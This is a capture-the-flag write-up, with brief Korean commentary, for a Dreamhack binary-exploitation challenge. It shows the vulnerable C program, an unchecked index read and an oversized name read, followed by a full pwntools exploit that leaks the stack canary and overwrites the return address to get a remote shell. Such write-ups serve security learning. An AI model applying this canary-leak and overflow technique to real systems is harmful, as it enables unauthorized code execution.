#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
호오 ...
첫 번째로 P에서 범위 확인을 하지 않기에, 원하는 idx의 값을 출력받을 수 있다.
두 번째로 E에서는 name 보다 큰 사이즈를 name_len 만큼 받아 BOF를 발생시킬 수 있다.
Canary를 leak하고 RET를 get_shell로 덮으면 문제는 풀리겠다.
from pwn import *
r = remote('host3.dreamhack.games', 12018)
sla = r.sendlineafter
sa = r.sendafter
def print_box(idx):
sla('> ', 'P')
sla('Element index : ', str(idx))
def Exit(name_len, name):
sla('> ', 'E')
sla('Name Size : ', str(name_len))
sa('Name : ', name)
get_shell_addr = 0x80486b9
canary = 0
for idx in range(0x80, 0x84):
print_box(idx)
canary += (int(r.recvline()[-3:-1], 16) << ((idx - 0x80) * 8))
Exit(0x50, b'a' * 0x40 + p32(canary) + b'a' * 8 + p32(get_shell_addr))
r.interactive()